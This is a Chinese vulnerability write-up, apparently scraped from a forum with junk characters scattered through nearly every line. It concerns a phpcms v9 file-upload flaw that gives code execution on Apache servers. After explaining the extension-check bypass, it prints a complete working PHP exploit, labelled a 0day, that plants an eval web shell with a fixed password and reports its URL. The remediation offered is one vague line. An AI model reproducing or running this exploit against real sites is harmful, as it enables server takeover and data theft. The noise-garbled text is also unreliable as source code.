漏洞类型: 文件上传导致任意代码执行% h J3 M, J' B1 c
5 {8 q( s6 L3 \( m0 Z% I+ f
简要描述:
4 X: X! g9 E E& ?8 a
, M. \" `" X- g. V( yphpcms v9 getshell (apache)
/ O: O$ _2 H/ N" e/ ?8 _% M" k; m+ W% u详细说明:$ ]; s' h4 k) \9 a
. r& t$ q6 {3 [! |5 a漏洞文件:phpcms\modules\attachment\attachments.php7 f) H& j, g, ]( u6 ~
1 G9 X. {) |' b& P
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } * P3 U% G8 E$ ]# Y
后缀检测:phpcms\modules\attachment\functions\global.func.php
9 [+ l+ c) H) y
- ]# A' ~4 L( o8 b+ e 5 a. I" ~/ x# I7 L& v
g5 W: R- d0 a; {% p9 G
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } . x( u. @/ \# d N) Y9 G
: i4 C$ m3 A! V p$ K
关键函数:
2 Y$ t" i+ X" Q0 ^% @& Z4 b7 _# {; O* C- y. K
; q4 s. m$ T. V* O) j
6 x9 c' \% C- p! W' ?& g i+ x" xfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } # S3 v% d5 ^& H0 e+ { f
8 Z. J' d- g: d) u" M
Fileext函数是对文件后缀名的提取。4 z: a5 L7 b) D2 I
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php6 t- \) z4 Z# n- J
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
+ n0 T/ R- e; X _8 _# Z- O我们回到public function crop_upload() 函数中7 f9 o3 H, r4 ]$ L% j
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();/ `9 T0 N' X6 b6 X0 A" Q" |$ T5 V
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
1 o+ e* W8 T6 G* w6 p& L1 i5 t- X这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。) [" @. [, k7 f( r& J/ X
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
- F2 k! o7 r8 i4 s+ Y/ ?2 S最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。4 L; F9 s* i, w+ `% z# \# q
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
8 }' n/ N. ~9 y l0 P" }! P* T漏洞证明:
8 K$ I9 P' B0 z+ K" t y
. a4 J: O: ]% r# B* `5 d/ ^exp:
' l* J! e: {! ]0 y9 R
W) F( D; @. R. U! w6 J/ L<?php9 \: \/ e7 Y, g1 E, ~- |
error_reporting(E_ERROR);
9 }. a! L0 {' X1 a) {! V- v6 N Fset_time_limit(0);+ u. E( a6 v9 s5 m
$pass="ln";2 k1 O: P8 W" Z- V+ F) l0 F. I
print_r('
, u8 E" [( n) o$ {, ?3 i+---------------------------------------------------------------------------+& v' Q4 ^* e' u- u# ^4 S/ c7 P
PHPCms V9 GETSHELL 0DAY & _2 M$ m- v6 G- n% C7 |
code by L.N.
0 P- ?, K3 a! ]& I( A/ L
3 n' _+ v2 i# V) i$ }apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net" i4 a$ r4 M. ^5 m) b5 Y/ M
+---------------------------------------------------------------------------+! R: s$ j+ [% H! ~3 J5 H+ F2 ~
');* c5 i( K2 `$ F% x) M, R
if ($argc < 2) {
/ I9 B# Z4 ]# d! T( }! s! Uprint_r('
/ z; I& i, p% w; j& D+ K+---------------------------------------------------------------------------+. {5 C; O- h3 |9 c& ~
Usage: php '.$argv[0].' url path
3 T% M( y/ e+ D/ ^- E4 X; A# a) P) ]3 F' A! [( b( P
Example:' F. \, N3 { { s3 B
1.php '.$argv[0].' lanu.sinaapp.com$ q, L' r0 l: c6 O* {
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
% O( T; [& j4 t8 z- j) S7 H4 w* Y+---------------------------------------------------------------------------+% c; ]* q! t( \7 K/ A2 y! h2 i
');
: J9 a9 e5 D; K0 f+ Q s# ?- O Hexit;
5 C s; Z* q. `- T3 f+ U& Y2 [}4 A9 c0 n! e5 K
) y/ j3 [: y. c/ z% Z9 L% c% l
$url = $argv[1];
5 I" \/ B) |4 S, `& G! C$path = $argv[2];
9 z2 h9 P' P. G$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';5 O; h. Y3 j7 d% V2 A
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
5 A! U' P9 |2 ~ A9 F* Rif($ret=Create_dir($url,$path))0 b1 O& u! d5 g& X; V# n
{
. h4 `, d6 x) e3 `5 B! Z. C//echo $ret; E+ _; p. p8 i
$pattern = "|Server:[^,]+?|U";1 j% }4 C1 U( [; J: w* y/ Y0 {6 q
preg_match_all($pattern, $ret, $matches);
( [$ C5 S) U9 ]; o1 ^if($matches[0][0])
3 P7 d) }/ D; |{
& n' g# q) D* ^5 iif(strpos($matches[0][0],'Apache') == false)8 \0 P9 ?/ F& _; A: d
{1 z0 i2 ^, L( B$ j% l. C
echo "\n亲!此网站不是apache的网站。\n";exit;
8 r+ J6 k" T# X}
# X2 k& I9 ]4 ^! F7 Y5 _. ^: a}
y0 M8 d9 A0 ?6 ]3 F0 o$ret = GetShell($url,$phpshell,$path,$file);5 |0 B* x4 x! V7 f5 q1 J
$pattern = "|http:\/\/[^,]+?\.,?|U";+ o( F3 W% S9 e
preg_match_all($pattern, $ret, $matches);. M2 b3 T* V2 L; v d! \3 v* M7 L
if($matches[0][0])9 s, f. @9 u# U$ A( o: r
{! f4 b6 R7 y$ A$ \6 W6 I
echo "\n".'密码为: '.$pass."\n";1 J5 m. u+ W- R
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% g7 K1 g$ E5 X9 m
}5 y1 G3 M6 R& h) b/ A) H- Z
else
' p- E4 P* P. z" s! k- C4 O{
$ Z0 {8 ] z4 G1 V+ [ W7 c( Q# W$pattern = "|\/uploadfile\/[^,]+?\.,?|U";; n5 ?8 R. z t, v
preg_match_all($pattern, $ret, $matches);) ?- p2 j0 q: l* V) j" t
if($matches[0][0])
* B/ n. I% {& R( @2 }* l4 D{8 r8 A Y! @2 V) U0 _9 |4 N
echo "\n".'密码为: '.$pass."\n";
E0 C( j: W! [. g6 L/ P4 O9 Gecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ W# t3 }' w6 G/ v; W# t}. p) K* Y6 V1 `4 y
else4 ]$ R* u8 G7 ]6 O
{& ~+ K- x: a% y# C4 ^
echo "\r\n没得到!\n";exit;
/ r8 u9 m& J$ O- q! j1 o( p5 w} q' G* e, ]9 J$ ~" {+ a
}
% u7 M1 J8 l5 S; T( l}
& H8 [) J; O. \7 r, A
( Z w t* ]( \! I, i& P# Qfunction GetShell($url,$shell,$path,$js)
: u9 X7 p; J9 [1 p* t( D* C{9 ~* U' T+ E" A$ R# r
$content =$shell;8 K) u$ T$ x: U& p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";5 g. |! c% w2 S; T b# K& a; _
$data .= "Host: ".$url."\r\n";
2 a1 S$ B% f3 I4 F e6 |$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";. z/ k6 K( d0 I
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 \) x# q) s$ S- K* X3 P$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
Z: I2 f; ]5 C! {" x1 ~$data .= "Connection: close\r\n";( ]1 H( }0 \ D3 D
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; \+ _+ @+ W, I0 F, }! Q0 Y1 i$ x a
$data .= $content."\r\n";+ j, O6 @) R* Q/ T& n/ g
$ock=fsockopen($url,80);
" l2 M4 G: y P/ d" r- _( U' G$ Iif (!$ock)+ h( g0 l! Y9 B- W G. E0 N$ J
{
' m0 n4 ~: i+ E* ?: ?5 d# ^echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;' w5 b9 z: m$ V9 V+ l
}
4 g: }! z5 x: }, f$ k3 yelse
1 D2 N8 r) _7 j' Y{/ F- @8 y; v2 Z. \# M$ b5 F9 F
fwrite($ock,$data);# ~1 v% I* p4 e1 p+ v) s
$resp = '';
! ?1 K' _& c8 ^2 }while (!feof($ock))+ @3 g3 y; C2 @3 g5 ^! p
{
. Z( e: I; b; A8 J$resp.=fread($ock, 1024);* i1 q+ U- z0 _
}
9 T' p! `( K$ ]" _5 xreturn $resp;1 Q/ b: E7 s# o8 K
}, c" S* j+ r0 H
}
# o- H; R7 ~& b7 }/ U9 G9 c9 K) ~( z! c; x( j
function Create_dir($url,$path='')
# }! M: b9 l5 X( |2 V# X{+ K/ X8 e" N6 n" t
$content ='I love you';# B- O# ?3 D1 C
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
& g2 a4 S& f' p+ [" y+ [) Y$ S, ^$data .= "Host: ".$url."\r\n";/ _1 q+ b% b3 F( r T
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ c4 n1 N9 o7 I
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";: A& ^5 W) C" B- x$ E! ]
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, g8 B4 U( N( E! U/ T9 R6 f
$data .= "Connection: close\r\n";0 W$ o4 n+ a/ y! c$ w# z" X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";3 o2 h6 l$ |( E: ^- y
$data .= $content."\r\n";8 d% h7 h. {% K0 Q% B: V# u. G
$ock=fsockopen($url,80);- v. z9 N3 ]& L/ ]- K! X/ s* a
if (!$ock)* g0 I0 ^, X, ?+ j. `; [+ M. C
{
1 f0 O! P. u# c4 yecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
* {7 x* Z6 p$ P. J* ?7 E& v+ [}
8 I1 c# N; I2 P* E: ~+ J$ dfwrite($ock,$data);5 _9 i" j" c! k) p! ^
$resp = '';/ f, ?+ ?* j( P
while (!feof($ock))6 ?% N! s, C5 A2 _
{
1 h6 V! R4 _- x+ b i1 V$resp.=fread($ock, 1024);
! N/ b. }- v6 Y}
4 j- [8 b4 [& j$ `& xreturn $resp;
& ~! [; T4 q$ |2 K$ K- U}) v- _9 g2 Z. H7 r* z
?> , o) V9 h7 N+ w9 S6 d1 a" J# [5 o
2 B0 b! R( [4 ^$ e4 M修复方案:$ j9 A+ a% i' P( `0 F* d
$ f8 z1 b2 n1 _2 Q6 p6 s/ S' ?+ q过滤过滤再过滤# K; G/ t! f$ p3 U1 C, }( H9 N
y4 L V% \8 y
|